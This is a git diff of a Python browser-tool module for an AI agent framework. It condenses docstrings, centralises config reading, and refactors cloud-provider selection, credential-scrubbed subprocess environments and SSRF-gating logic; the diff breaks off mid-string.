"""Lazy module attributes (PEP 562) — import diet for cold start. + """Lazy module attributes (PEP 562): ``requests`` and ``call_llm`` load on first use. - ``requests`` (~40 ms) and ``agent.auxiliary_client.call_llm`` (~65 ms) - are only needed on specific code paths, so they load on first use. The - module-level names are preserved for the test-patch surface - (``patch("tools.browser_tool.requests.get")`` / - ``patch("tools.browser_tool.call_llm")``): first attribute access imports - the real object and binds it into module globals. + First access binds the real object into module globals so the test-patch + surface (``patch("tools.browser_tool.requests.get")`` / ``.call_llm``) works. """ if name == "requests": import requests as _requests @@ -112,12 +76,10 @@ def _lazy_call_llm(*args, **kwargs): fn = __getattr__("call_llm") return fn(*args, **kwargs) -# Browser-specific tool keys passed through to the agent-browser subprocess -# AFTER credential stripping. agent-browser is a Node process loading npm -# deps; handing it the full operator keyring (#29157 / GHSA-m4m8-xjp4-5rmm) -# means a compromised transitive dependency could read every Hermes secret -# straight out of process.env. Strip by default, then re-add only the -# browser-backend keys the worker legitimately needs. +# Keys re-added to the agent-browser subprocess env AFTER credential stripping. +# agent-browser is a Node process loading npm deps: a compromised transitive +# dependency could read every Hermes secret from process.env, so only the +# browser-backend keys the worker legitimately needs pass through. _BROWSER_PASSTHROUGH_KEYS: tuple[str, ...] = ( "BROWSERBASE_API_KEY", "BROWSERBASE_PROJECT_ID", @@ -129,13 +91,10 @@ _BROWSER_PASSTHROUGH_KEYS: tuple[str, ...] = ( def _build_browser_env() -> dict: - """Credential-scrubbed env for an agent-browser subprocess. + """Credential-scrubbed env for an agent-browser subprocess (only browser-backend keys re-added). - Strips Hermes-managed secrets (provider keys, gateway tokens, GitHub auth, - infra secrets) then re-adds only the browser-backend keys the worker needs. - The ``hermes_subprocess_env`` import is deferred to keep ``browser_tool`` - importable under test harnesses that load it against a stubbed ``tools`` - package (tests/tools/test_managed_browserbase_and_modal.py). + The ``hermes_subprocess_env`` import is deferred so the module imports under + test harnesses that stub the ``tools`` package. """ from tools.environments.local import hermes_subprocess_env @@ -162,11 +121,9 @@ except Exception: _is_always_blocked_url = lambda url: True # noqa: E731 — fail-closed on the floor too _normalize_url_for_request = lambda url: url # noqa: E731 — best-effort fallback _sensitive_query_param_name = lambda url: None # noqa: E731 — best-effort fallback -# Browser-provider ABC + registry — PR #25214 moved the per-vendor providers -# (Browserbase / Browser Use / Firecrawl) out of ``tools/browser_providers/`` -# and into ``plugins/browser//``. The dispatcher consults the -# registry; the legacy class names are re-exported below as backward-compat -# shims for callers that import them from this module. +# Browser-provider ABC + registry. Per-vendor providers live under +# ``plugins/browser//``; the legacy class names are re-exported below as +# backward-compat shims for callers that import them from this module. from agent.browser_provider import BrowserProvider as CloudBrowserProvider # noqa: F401 (legacy alias) from agent.browser_registry import ( # noqa: F401 (test-patchable surface) get_provider as _registry_get_browser_provider, @@ -313,79 +270,72 @@ _snapshot_threshold_resolved = False def _sanitize_url_for_logs(value: object) -> str: - """Mask secrets in logged browser endpoint URLs and URL-like errors. - - Thin wrapper over :func:`agent.redact.redact_cdp_url`, which is the single - source of truth for CDP-URL log redaction. Kept as a local name because - several browser-tool log sites reference it; the redaction policy itself - lives once in ``redact.py`` so the browser tool and the CDP supervisor - cannot drift apart. - """ + """Mask secrets in logged CDP URLs; :func:`agent.redact.redact_cdp_url` is the single policy.""" return redact_cdp_url(value) -def _get_command_timeout() -> int: - """Return the configured browser command timeout from config.yaml. +def _browser_cfg(key: str, default, parse, log_label: str): + """Read ``browser.`` from the raw profile config and ``parse`` it. - Reads ``config["browser"]["command_timeout"]`` and falls back to - ``DEFAULT_COMMAND_TIMEOUT`` (30s) if unset or unreadable. Result is - cached after the first call and cleared by ``cleanup_all_browsers()``. + Returns ``default`` when the key is absent, the section is not a mapping, + or reading/parsing raises (logged at debug as "Could not read "). + Raw config is used so tool JSON output is not affected by loader warnings. + """ + try: + from hermes_cli.config import read_raw_config + browser_cfg = read_raw_config().get("browser", {}) + if isinstance(browser_cfg, dict) and key in browser_cfg: + return parse(browser_cfg[key]) + except Exception as e: + logger.debug("Could not read %s: %s", log_label, e) + return default + + +def _get_command_timeout() -> int: + """Return ``browser.command_timeout`` (floored at 5s; default 30s). + + Cached after the first call and cleared by ``cleanup_all_browsers()``. """ global _cached_command_timeout, _command_timeout_resolved if _command_timeout_resolved and _cached_command_timeout is not None: return _cached_command_timeout - result = DEFAULT_COMMAND_TIMEOUT - try: - from hermes_cli.config import read_raw_config - cfg = read_raw_config() - val = cfg_get(cfg, "browser", "command_timeout") - if val is not None: - result = max(int(val), 5) # Floor at 5s to avoid instant kills - except Exception as e: - logger.debug("Could not read command_timeout from config: %s", e) + result = _browser_cfg( + "command_timeout", DEFAULT_COMMAND_TIMEOUT, + lambda v: DEFAULT_COMMAND_TIMEOUT if v is None else max(int(v), 5), + "command_timeout from config", + ) # Assign the cached value BEFORE flipping the resolved flag so a - # concurrent reader cannot observe ``resolved=True`` while the cache - # is still ``None`` (see issue #14331). + # concurrent reader cannot observe ``resolved=True`` with a ``None`` cache. _cached_command_timeout = result _command_timeout_resolved = True return result def _safe_command_timeout() -> int: - """Like ``_get_command_timeout`` but guaranteed non-None. + """``_get_command_timeout`` guaranteed non-None (cache reset mid-flight). - Defense in depth against the race fixed in ``_get_command_timeout``: - if anything ever returns ``None`` (e.g. cache reset mid-flight), fall - back to ``DEFAULT_COMMAND_TIMEOUT``. Uses ``is not None`` rather than - ``or`` so a legitimately configured ``0`` is preserved. + Uses ``is not None`` rather than ``or`` so a configured ``0`` is preserved. """ val = _get_command_timeout() return val if val is not None else DEFAULT_COMMAND_TIMEOUT def get_browser_snapshot_threshold() -> int: - """Return the configured maximum browser snapshot size in characters. + """Return ``browser.snapshot_threshold`` (floored at MIN_SNAPSHOT_THRESHOLD). - Reads the raw profile-aware config so tool JSON output is not affected by - config-loader warnings. The value is cached for the browser lifecycle and - reset by :func:`cleanup_all_browsers`. + Cached for the browser lifecycle and reset by :func:`cleanup_all_browsers`. """ global _cached_snapshot_threshold, _snapshot_threshold_resolved if _snapshot_threshold_resolved and _cached_snapshot_threshold is not None: return _cached_snapshot_threshold - result = DEFAULT_SNAPSHOT_THRESHOLD - try: - from hermes_cli.config import read_raw_config - cfg = read_raw_config() - val = cfg_get(cfg, "browser", "snapshot_threshold") - if val is not None: - result = max(int(val), MIN_SNAPSHOT_THRESHOLD) - except Exception as exc: - logger.debug("Could not read browser.snapshot_threshold: %s", exc) - - # Preserve the same race-safety invariant as the command-timeout cache. + result = _browser_cfg( + "snapshot_threshold", DEFAULT_SNAPSHOT_THRESHOLD, + lambda v: DEFAULT_SNAPSHOT_THRESHOLD if v is None else max(int(v), MIN_SNAPSHOT_THRESHOLD), + "browser.snapshot_threshold", + ) + # Same race-safety invariant as the command-timeout cache. _cached_snapshot_threshold = result _snapshot_threshold_resolved = True return result @@ -497,16 +447,12 @@ def _get_vision_model() -> Optional[str]: def _resolve_cdp_override(cdp_url: str) -> str: - """Normalize a user-supplied CDP endpoint into a concrete connectable URL. + """Normalize a user-supplied CDP endpoint into a concrete websocket URL. - Accepts: - - full websocket endpoints: ws://host:port/devtools/browser/... - - HTTP discovery endpoints: http://host:port or http://host:port/json/version - - bare websocket host:port values like ws://host:port - - For discovery-style endpoints we fetch /json/version and return the - webSocketDebuggerUrl so downstream tools always receive a concrete browser - websocket instead of an ambiguous host:port URL. + Full ``ws://.../devtools/browser/...`` endpoints pass through; HTTP + discovery roots and bare ``ws://host:port`` are resolved via + ``/json/version`` → ``webSocketDebuggerUrl`` (falls back to the raw value + with a warning if discovery fails). """ raw = (cdp_url or "").strip() if not raw: @@ -562,57 +508,28 @@ def _resolve_cdp_override(cdp_url: str) -> str: def _get_cdp_override_raw() -> str: """Return the *configured* CDP override without any network I/O. - Precedence is: - 1. ``BROWSER_CDP_URL`` env var (live override from ``/browser connect``) - 2. ``browser.cdp_url`` in config.yaml (persistent config) - - This is the availability-check variant: callers that only need to know - *whether* a CDP override is configured (tool ``check_fn`` gates, - ``_is_local_mode`` / ``_is_local_backend`` routing decisions, - ``hermes doctor``) MUST use this instead of :func:`_get_cdp_override`. - - Rationale: ``_get_cdp_override`` resolves the endpoint over HTTP - (``/json/version`` discovery, 10s timeout). Tool-schema assembly runs at - every CLI/Desktop startup and probes several browser-family check_fns; - when a *stale* ``browser.cdp_url`` points at a dead endpoint (the debug - Chrome it referenced is long gone), each check blocked on a failing - socket connect and startup stalled for 10+ seconds before the banner — - with no error, just mystery slowness. Same principle as the existing - "do not execute ``agent-browser --version`` here" rule in - ``check_browser_requirements``: no side effects during schema build. + Precedence: ``BROWSER_CDP_URL`` env (live ``/browser connect`` override), + then ``browser.cdp_url`` in config.yaml. Callers that only need to know + *whether* an override exists (check_fn gates, ``_is_local_mode`` / + ``_is_local_backend``, ``hermes doctor``) MUST use this, not + :func:`_get_cdp_override`: that one does a 10s HTTP discovery, and a stale + ``cdp_url`` pointing at a dead Chrome would stall every startup's schema + build with no error — no side effects during schema build. """ env_override = os.environ.get("BROWSER_CDP_URL", "").strip() if env_override: return env_override - - try: - from hermes_cli.config import read_raw_config - - cfg = read_raw_config() - browser_cfg = cfg.get("browser", {}) - if isinstance(browser_cfg, dict): - return str(browser_cfg.get("cdp_url", "") or "").strip() - except Exception as e: - logger.debug("Could not read browser.cdp_url from config: %s", e) - - return "" + return _browser_cfg( + "cdp_url", "", lambda v: str(v or "").strip(), "browser.cdp_url from config" + ) def _get_cdp_override() -> str: - """Return a normalized CDP URL override, or empty string. + """Return the resolved CDP URL override, or "" (skips cloud AND local launch). - Precedence is: - 1. ``BROWSER_CDP_URL`` env var (live override from ``/browser connect``) - 2. ``browser.cdp_url`` in config.yaml (persistent config) - - When either is set, we skip both Browserbase and the local headless - launcher and connect directly to the supplied Chrome DevTools Protocol - endpoint. - - NOTE: resolution may perform an HTTP ``/json/version`` discovery request. - Only call this on paths that are about to *connect* (session creation, - supervisor attach). Pure is-it-configured gates must use - :func:`_get_cdp_override_raw`. + May perform an HTTP ``/json/version`` discovery request — only call on + paths about to *connect* (session creation, supervisor attach); pure + is-it-configured gates must use :func:`_get_cdp_override_raw`. """ raw = _get_cdp_override_raw() if not raw: @@ -659,21 +576,12 @@ def _get_dialog_policy_config() -> Tuple[str, float]: def _ensure_cdp_supervisor(task_id: str) -> None: """Start a CDP supervisor for ``task_id`` if an endpoint is reachable. - Idempotent — delegates to ``SupervisorRegistry.get_or_start`` which skips - when a supervisor for this ``(task_id, cdp_url)`` already exists and - tears down + restarts on URL change. Safe to call on every - ``browser_navigate`` / ``/browser connect`` without worrying about - double-attach. - - Resolves the CDP URL in this order: - 1. ``BROWSER_CDP_URL`` / ``browser.cdp_url`` — covers ``/browser connect`` - and config-set overrides. - 2. ``_active_sessions[task_id]["cdp_url"]`` — covers Browserbase + any - other cloud provider whose ``create_session`` returns a raw CDP URL. - - Swallows all errors — failing to attach the supervisor must not break - the browser session itself. The agent simply won't see - ``pending_dialogs`` / ``frame_tree`` fields in snapshots. + Idempotent (``SupervisorRegistry.get_or_start`` skips an existing + ``(task_id, cdp_url)`` and restarts on URL change), so safe on every + navigate / ``/browser connect``. URL precedence: the CDP override, then the + session's own ``cdp_url`` (cloud providers). Swallows all errors — a failed + attach must not break the session; snapshots just lack + ``pending_dialogs`` / ``frame_tree``. """ cdp_url = _get_cdp_override() if not cdp_url: @@ -718,18 +626,11 @@ def _stop_cdp_supervisor(task_id: str) -> None: # Cloud Provider Registry # ============================================================================ # -# Per-vendor browser providers (Browserbase / Browser Use / Firecrawl) live as -# plugins under ``plugins/browser//`` and self-register through -# :mod:`agent.browser_registry` at plugin-discovery time. The legacy -# class-name registry below is preserved as a backward-compat shim so test -# fixtures that ``monkeypatch.setattr(browser_tool, "_PROVIDER_REGISTRY", ...)`` -# keep working — but ``_get_cloud_provider()`` now consults -# :mod:`agent.browser_registry` for the actual lookup. -# -# When the test patches ``_PROVIDER_REGISTRY``, we honour it (so the cache -# unit tests still drive the function); otherwise the registry-backed path -# wins. This keeps the test surface stable while letting third-party -# plugins drop in under ``~/.hermes/plugins/browser//``. +# Per-vendor providers live as plugins under ``plugins/browser//`` and +# self-register with :mod:`agent.browser_registry`, which is what +# ``_get_cloud_provider()`` consults. The legacy class-name dict below is a +# backward-compat shim: when a test monkeypatches it, it is honoured; +# otherwise the registry-backed path wins. _PROVIDER_REGISTRY: Dict[str, type] = { "browserbase": BrowserbaseProvider, @@ -760,18 +661,11 @@ _browser_engine_resolved = False def _is_legacy_provider_registry_overridden() -> bool: - """Return True when a test has patched ``_PROVIDER_REGISTRY`` to a custom value. + """True when a test has patched ``_PROVIDER_REGISTRY`` to a custom value. - Detected by spotting any registered class that *isn't* the canonical - plugin-backed class for that name. Tests that - ``monkeypatch.setattr(browser_tool, "_PROVIDER_REGISTRY", ...)`` install - custom factories (`exploding_factory`, `lambda: fake_provider`, etc.); - those entries fail the canonical-class identity check below. - - Note: a future maintainer adding a 4th built-in provider only needs to - extend ``_DEFAULT_PROVIDER_REGISTRY`` below — they do NOT need to update - a hardcoded set of keys here. The detection just compares each registered - value against the corresponding canonical class. + Each registered value is compared by identity against the canonical class + in ``_DEFAULT_PROVIDER_REGISTRY`` (extra keys count too); adding a built-in + provider only requires extending that default dict. """ try: for key, default_cls in _DEFAULT_PROVIDER_REGISTRY.items(): @@ -786,13 +680,9 @@ def _is_legacy_provider_registry_overridden() -> bool: def _ensure_browser_plugins_loaded() -> None: """Idempotently trigger plugin discovery so the browser registry is populated. - Normally `model_tools` is imported early in any session and that - triggers `discover_plugins()` as a side effect. But `_get_cloud_provider` - can be called from contexts that haven't gone through `model_tools` — - standalone scripts, certain unit-test paths, the parity-sweep harness. - Make discovery idempotent and side-effect-only here so users always - see registered plugins regardless of import order. Cheap: subsequent - calls early-return inside `_ensure_plugins_discovered`. + ``model_tools`` normally does this as an import side effect, but + ``_get_cloud_provider`` is also reached from standalone scripts and test + harnesses that never import it; cheap on repeat calls. """ try: from hermes_cli.plugins import _ensure_plugins_discovered @@ -842,22 +732,72 @@ def _get_cloud_provider() -> Optional[CloudBrowserProvider]: return resolved +def _instantiate_explicit_cloud_provider(provider_key: str) -> Optional[CloudBrowserProvider]: + """Build the provider named by ``browser.cloud_provider``. + + Test fixtures that patch ``_PROVIDER_REGISTRY`` drive the legacy dict; + otherwise the plugin registry is consulted (after idempotent discovery). + Strict selection: a stored-but-unregistered name raises ``ValueError`` + (never a silent reroute to auto-detect). Any other instantiation error is + logged and yields None so the next call retries. + """ + try: + if _is_legacy_provider_registry_overridden(): + factory = _PROVIDER_REGISTRY.get(provider_key) + resolved = factory() if factory is not None else None + else: + _ensure_browser_plugins_loaded() + resolved = _registry_get_browser_provider(provider_key) + if resolved is None: + from tools.tool_backend_helpers import selection_error + + raise ValueError(selection_error( + "browser", + f"'{provider_key}'", + "no registered browser plugin has that name (install " + "the corresponding plugin or fix the config key " + "spelling)", + )) + return resolved + except ValueError: + raise + except Exception: + logger.warning( + "Failed to instantiate explicit cloud_provider %r; will retry on next call", + provider_key, + exc_info=True, + ) + return None + + +def _autodetect_cloud_provider() -> Optional[CloudBrowserProvider]: + """Auto-detect: Browser Use (managed Nous gateway or API key), then Browserbase. + + Uses the legacy class names bound on this module so tests that + ``monkeypatch.setattr(browser_tool, "BrowserUseProvider", ...)`` keep + driving this branch. Third-party plugins are intentionally NOT reachable + from auto-detect — only via explicit ``browser.cloud_provider: ``. + Never raises (a failure must not poison the cache). + """ + try: + for cls in (BrowserUseProvider, BrowserbaseProvider): + fallback_provider = cls() + if fallback_provider.is_configured(): + return fallback_provider + except Exception: # pragma: no cover - defensive: never poison cache + logger.debug("Cloud provider auto-detect failed", exc_info=True) + return None + + def _resolve_cloud_provider_uncached() -> Optional[CloudBrowserProvider]: """Return the configured cloud browser provider, or None for local mode. - Reads ``config["browser"]["cloud_provider"]`` once and caches the result - for the process lifetime. An explicit ``local`` provider disables cloud - fallback. If unset, fall back to Browser Use (managed Nous gateway or - direct API key) and then Browserbase (direct credentials only) — the - historic auto-detect order, now expressed as the - :data:`agent.browser_registry._LEGACY_PREFERENCE` walk. - - Selection routes through :mod:`agent.browser_registry` so third-party - browser plugins (``~/.hermes/plugins/browser//``) participate - in explicit-config resolution. Test fixtures that override - ``_PROVIDER_REGISTRY`` or ``BrowserUseProvider`` / ``BrowserbaseProvider`` - on this module still drive the function — see - ``_is_legacy_provider_registry_overridden``. + Reads ``browser.cloud_provider`` and pins the result in the cache only when + it is definitive (explicit ``local``/``camofox``, or a resolved provider). + Explicit selection routes through :mod:`agent.browser_registry` so + third-party plugins participate; auto-detect (only when no selection was + ever written) walks Browser Use then Browserbase. A transient None + (unreadable config, missing credentials) is NOT cached so it can self-heal. """ global _cached_cloud_provider, _cloud_provider_resolved @@ -865,89 +805,31 @@ def _resolve_cloud_provider_uncached() -> Optional[CloudBrowserProvider]: provider_key = None try: from hermes_cli.config import read_raw_config - cfg = read_raw_config() - browser_cfg = cfg.get("browser", {}) + browser_cfg = read_raw_config().get("browser", {}) if isinstance(browser_cfg, dict) and "cloud_provider" in browser_cfg: - provider_key = normalize_browser_cloud_provider( - browser_cfg.get("cloud_provider") - ) + provider_key = normalize_browser_cloud_provider(browser_cfg.get("cloud_provider")) if provider_key in ("local", "camofox"): - # Camofox runs through the built-in browser tools - # (is_camofox_mode() dispatch), not a cloud provider. + # Camofox runs through the built-in browser tools, not a cloud provider. _cached_cloud_provider = None _cloud_provider_resolved = True return None if provider_key == "nous": - # Managed "Nous Subscription" selection is serviced by the - # Browser Use provider, whose config resolver routes it - # through the managed browser-use gateway. + # Managed "Nous Subscription" is serviced by the Browser Use provider. provider_key = "browser-use" if provider_key: - try: - if _is_legacy_provider_registry_overridden(): - # Test fixture path: honour the patched dict so the - # cache-policy unit tests keep working. - factory = _PROVIDER_REGISTRY.get(provider_key) - if factory is not None: - resolved = factory() - else: - # Ensure plugins are discovered so the registry is - # populated. Idempotent — cheap on subsequent calls. - _ensure_browser_plugins_loaded() - resolved = _registry_get_browser_provider(provider_key) - if resolved is None: - # Strict selection: a stored-but-unregistered name is an - # honest error, never a silent reroute to auto-detect. - from tools.tool_backend_helpers import selection_error - - raise ValueError(selection_error( - "browser", - f"'{provider_key}'", - "no registered browser plugin has that name (install " - "the corresponding plugin or fix the config key " - "spelling)", - )) - except ValueError: - raise - except Exception: - logger.warning( - "Failed to instantiate explicit cloud_provider %r; will retry on next call", - provider_key, - exc_info=True, - ) + resolved = _instantiate_explicit_cloud_provider(provider_key) + if resolved is None: return None except ValueError: raise except Exception as e: - # Config file may be temporarily unreadable; still try auto-detect so + # Config may be temporarily unreadable; still try auto-detect so # env-based / managed-gateway credentials can resolve. Don't pin cache. logger.debug("Could not read cloud_provider from config: %s", e) if resolved is None and provider_key is None: - # Auto-detect path — permitted ONLY when no cloud_provider selection - # was ever written: Browser Use first (managed Nous gateway or - # direct API key), then Browserbase (direct credentials). Uses - # the legacy class names imported at the top of this module so - # tests that ``monkeypatch.setattr(browser_tool, "BrowserUseProvider", ...)`` - # keep driving this branch deterministically. Third-party browser - # plugins are intentionally NOT reachable from auto-detect — they - # participate only via explicit ``browser.cloud_provider: ``, - # mirroring the firecrawl gate documented on - # :data:`agent.browser_registry._LEGACY_PREFERENCE`. - try: - fallback_provider = BrowserUseProvider() - if fallback_provider.is_configured(): - resolved = fallback_provider - else: - fallback_provider = BrowserbaseProvider() - if fallback_provider.is_configured(): - resolved = fallback_provider - except Exception: # pragma: no cover - defensive: never poison cache - logger.debug("Cloud provider auto-detect failed", exc_info=True) - return None - + resolved = _autodetect_cloud_provider() if resolved is None: - # Transient None — credentials may self-heal. Don't poison the cache. return None _cached_cloud_provider = resolved @@ -1003,40 +885,22 @@ def _is_local_mode() -> bool: def _is_local_backend() -> bool: """Return True when the browser runs locally AND the terminal is also local. - SSRF protection is only meaningful for cloud backends (Browserbase, - BrowserUse) where the agent could reach internal resources on a remote - machine. For local backends — Camofox, or the built-in headless - Chromium without a cloud provider — the user already has full terminal - and network access on the same machine, so the check adds no security - value. - - However, when the terminal runs in a container (docker, modal, daytona, - ssh, singularity), the browser on the host can access internal networks - that the terminal cannot. In this case, SSRF protection should be - enabled even though the browser is technically "local". + SSRF protection only matters when the browser can reach networks the user's + terminal cannot: cloud backends, and a local browser paired with a + containerized terminal (docker/modal/daytona/ssh/singularity). A CDP + override is never trusted as local (that Chrome may live off-host) and MUST + be checked before the Camofox short-circuit so Camofox + override still + fails the local check; ``_is_local_mode`` treats overrides the same way — + keep the two in agreement. """ - # A CDP override points the browser at a separate Chrome process whose - # network position is not guaranteed to match the terminal (it may live - # off-host). Don't treat it as a trusted local backend — otherwise a - # model-driven navigate could reach internal/metadata services reachable - # from the CDP host but not the terminal. This MUST be checked before the - # camofox short-circuit below so a Camofox backend combined with a CDP - # override still fails the local check instead of returning local and - # skipping the private/internal SSRF gate. The override is honored from - # either the BROWSER_CDP_URL env var or a persistent `browser.cdp_url` - # config (both via _get_cdp_override(), and both now suppress camofox in - # browser_camofox.py). _is_local_mode() already treats any CDP override as - # non-local; keep the two helpers in agreement. if _get_cdp_override_raw(): return False if _is_camofox_mode(): return True if _get_cloud_provider() is not None: return False - # When terminal runs in a container, browser on host can access - # internal networks the terminal can't → treat as non-local. - # Scope-aware: under gateway multiplexing the routed profile's backend - # lives in the per-turn terminal scope, not the process env (#68559). + # Scope-aware: under gateway multiplexing the routed profile's terminal + # backend lives in the per-turn terminal scope, not the process env. from tools.terminal_scope import terminal_env terminal_backend = terminal_env("TERMINAL_ENV", "local").strip().lower() @@ -1048,16 +912,10 @@ _cached_auto_local_for_private_urls: bool = True def _get_browser_engine() -> str: - """Return the configured browser engine (``auto``, ``lightpanda``, or ``chrome``). + """Return the browser engine: ``auto`` (no ``--engine`` flag), ``lightpanda`` or ``chrome``. - Reads ``config["browser"]["engine"]`` once and caches the result. - Falls back to the ``AGENT_BROWSER_ENGINE`` env var, then ``auto``. - - ``auto`` means: don't pass ``--engine`` at all (agent-browser defaults to - Chrome). ``lightpanda`` or ``chrome`` are forwarded as - ``--engine `` to agent-browser v0.25.3+. - - Lightpanda is 1.3-5.8x faster on navigation but has no graphical + ``browser.engine`` first, then ``AGENT_BROWSER_ENGINE``, then ``auto``; + cached. Lightpanda is much faster on navigation but has no graphical renderer (no screenshots). """ global _cached_browser_engine, _browser_engine_resolved @@ -1065,19 +923,12 @@ def _get_browser_engine() -> str: return _cached_browser_engine _browser_engine_resolved = True - _cached_browser_engine = "auto" # safe default - - # Config file takes priority - try: - from hermes_cli.config import read_raw_config - cfg = read_raw_config() - val = cfg.get("browser", {}).get("engine") - if val and str(val).strip(): - _cached_browser_engine = str(val).strip().lower() - except Exception as e: - logger.debug("Could not read browser.engine from config: %s", e) - - # Fall back to env var (only if config didn't set a value) + # Config file takes priority; env var only if config didn't set a value. + _cached_browser_engine = _browser_cfg( + "engine", "auto", + lambda v: str(v).strip().lower() if v and str(v).strip() else "auto", + "browser.engine from config", + ) if _cached_browser_engine == "auto": env_val = os.environ.get("AGENT_BROWSER_ENGINE", "").strip().lower() if env_val: @@ -1110,17 +961,11 @@ def _is_headed_mode() -> bool: return _cached_headed_mode # type: ignore[return-value] _headed_mode_resolved = True - _cached_headed_mode = False - - try: - from hermes_cli.config import read_raw_config - cfg = read_raw_config() - val = cfg.get("browser", {}).get("headed") - if val is not None: - _cached_headed_mode = str(val).strip().lower() in ("true", "1", "yes") - except Exception as e: - logger.debug("Could not read browser.headed from config: %s", e) - + _cached_headed_mode = _browser_cfg( + "headed", False, + lambda v: False if v is None else str(v).strip().lower() in ("true", "1", "yes"), + "browser.headed from config", + ) if not _cached_headed_mode: env_val = os.environ.get("AGENT_BROWSER_HEADED", "").strip() if env_val and env_val.lower() in ("true", "1", "yes"): @@ -1142,371 +987,34 @@ def _should_inject_engine(engine: str) -> bool: return _is_local_mode() -def _using_lightpanda_engine() -> bool: - """Return True when local browser commands are configured for Lightpanda.""" - return _get_browser_engine() == "lightpanda" - - -def lightpanda_engine_status() -> Tuple[bool, str]: - """Whether ``browser.engine: lightpanda`` is actually in effect, and why. - - Returns ``(False, "")`` when the engine is not lightpanda. Otherwise the - reason names the setting that shadows it (a cloud provider, Camofox, a - CDP override, Browser Use cloud, the real-profile toggle) or, when it is - in use, which driver runs it. Mirrors the precedence of - ``_should_inject_engine`` (built-in tools) and - ``browser_use_cli._resolve_backend_cdp`` (Browser Use mode) using gates - that do no network I/O (config reads only), so ``/browser status`` and - ``hermes doctor`` can call it. - """ - if not _using_lightpanda_engine(): - return False, "" - if _get_cdp_override_raw(): - return False, "a CDP override is active (/browser connect or browser.cdp_url)" - if _is_camofox_mode(): - return False, "Camofox is the selected browser (CAMOFOX_URL)" - # Real-profile is checked before the cloud provider: in browser_exec the - # real-profile resolution runs before backend resolution, so with both - # set it is the real-profile toggle that actually claims the session. - if _use_real_profile(): - return False, "browser.use_real_profile is on (Lightpanda cannot load a Chromium profile)" - try: - provider = _get_cloud_provider() - except Exception: - provider = None - if provider is not None: - try: - name = provider.provider_name() - except Exception: - name = type(provider).__name__ - return False, ( - f"cloud provider {name} is selected (browser.cloud_provider, or " - "auto-detected from credentials)" - ) - bu_mode = _is_browser_use_cli_mode() - if bu_mode: - try: - from tools.browser_use_cli import ( - _read_browser_cfg, - is_legacy_browser_use_cloud_config, - ) - - if is_legacy_browser_use_cloud_config(_read_browser_cfg()): - return False, "Browser Use cloud (BROWSER_USE_API_KEY) is selected" - except Exception as e: - logger.debug("legacy Browser Use cloud check failed: %s", e) - if bu_mode: - return True, "Browser Use mode: Hermes spawns `lightpanda serve` per session" - return True, "built-in browser tools: agent-browser --engine lightpanda" - - -def _lightpanda_fallback_reason(engine: str, command: str, result: Dict[str, Any]) -> Optional[str]: - """Return the user-visible reason a Lightpanda result needs Chrome fallback. - - ``None`` means no fallback should run. The returned string is copied into - the fallback result so CLI/TUI/gateway users can see when Hermes silently - switched from Lightpanda to Chrome for completeness. - """ - if engine != "lightpanda": - return None - - # Only retry commands where Chrome can meaningfully produce a different - # result. Session-management commands (close, record) are tied to the - # engine's daemon and can't be retried on a different engine. - _FALLBACK_ELIGIBLE = {"open", "snapshot", "screenshot", "eval", "click", - "fill", "scroll", "back", "press", "console", "errors"} - if command not in _FALLBACK_ELIGIBLE: - return None - - # Explicit failure - if not result.get("success"): - error = str(result.get("error") or "command failed").strip() - return f"Lightpanda {command!r} failed ({error}); retried with Chrome." - - data = result.get("data", {}) - - if command == "snapshot": - snap = data.get("snapshot", "") - # Empty or near-empty snapshots indicate Lightpanda couldn't render - if not snap or len(snap.strip()) < 20: - return "Lightpanda returned an empty/too-short snapshot; retried with Chrome." - - if command == "screenshot": - # Lightpanda returns a placeholder PNG with its panda logo. - # Since LP PR #1766 resized it to 1920x1080, the placeholder is - # ~17 KB. Real Chromium screenshots are typically 100 KB+. - path = data.get("path", "") - if path: - try: - size = os.path.getsize(path) - if size < 20480: - logger.debug("Lightpanda screenshot is suspiciously small (%d bytes), " - "triggering Chrome fallback", size) - return ( - f"Lightpanda screenshot was suspiciously small ({size} bytes); " - "retried with Chrome." - ) - except OSError: - return "Lightpanda screenshot file was missing/unreadable; retried with Chrome." - - return None - - -def _needs_lightpanda_fallback(engine: str, command: str, result: Dict[str, Any]) -> bool: - """Check if a Lightpanda result should trigger an automatic Chrome fallback.""" - return _lightpanda_fallback_reason(engine, command, result) is not None - - -def _annotate_lightpanda_fallback(result: Dict[str, Any], reason: str) -> Dict[str, Any]: - """Add a user-visible Chrome fallback warning to a browser command result.""" - warning = ( - "⚠ Lightpanda fallback: Chrome was used for this browser action. " - f"{reason}" - ) - annotated = dict(result) - annotated["fallback_warning"] = warning - annotated["browser_engine"] = "chrome" - annotated["browser_engine_fallback"] = { - "from": "lightpanda", - "to": "chrome", - "reason": reason, - } - data = annotated.get("data") - if isinstance(data, dict): - data = dict(data) - data.setdefault("fallback_warning", warning) - data.setdefault("browser_engine", "chrome") - data.setdefault( - "browser_engine_fallback", - {"from": "lightpanda", "to": "chrome", "reason": reason}, - ) - annotated["data"] = data - return annotated - - -def _copy_fallback_warning(target: Dict[str, Any], result: Dict[str, Any]) -> Dict[str, Any]: - """Copy browser fallback metadata from an internal result into a tool response.""" - if result.get("fallback_warning"): - target["fallback_warning"] = result["fallback_warning"] - target["browser_engine"] = result.get("browser_engine") - target["browser_engine_fallback"] = result.get("browser_engine_fallback") - return target - - -def _run_chrome_fallback_command( - task_id: str, - command: str, - args: List[str], - timeout: int, -) -> Dict[str, Any]: - """Run a browser command in a temporary Chrome session at the current URL. - - agent-browser locks the engine when a named daemon starts. Passing - ``--engine chrome`` to the same Lightpanda ``--session`` cannot change that - running daemon. This helper always uses a fresh temporary Chrome session, - navigates it to the current Lightpanda URL, runs ``command``, then tears it - down. - """ - import uuid - - # 1. Grab the current URL from the Lightpanda session. ``get url`` is not - # fallback-eligible, so an error cannot recursively trigger this helper. - # Keep the explicit Lightpanda override so Chromium-only environment flags - # are stripped while querying the already-running Lightpanda daemon. - url_result = _run_browser_command( - task_id, "get", ["url"], timeout=10, _engine_override="lightpanda" - ) - current_url = None - if url_result.get("success"): - current_url = str(url_result.get("data", {}).get("url", "")).strip() - if not current_url: - logger.warning("Chrome fallback: could not determine current URL from LP session") - return {"success": False, "error": "Chrome fallback failed: could not determine current URL"} - - # 2. Create a temporary Chrome session (bypasses _get_session_info's cache). - tmp_session = f"h_cfb_{uuid.uuid4().hex[:8]}" - try: - browser_cmd = _find_agent_browser() - except FileNotFoundError as e: - return {"success": False, "error": str(e)} - - if not _chromium_installed(): - if _running_in_docker(): - hint = ( - "Chrome fallback requires Chromium, but it is missing. " - "You're running in Docker — pull the latest image: " - "docker pull 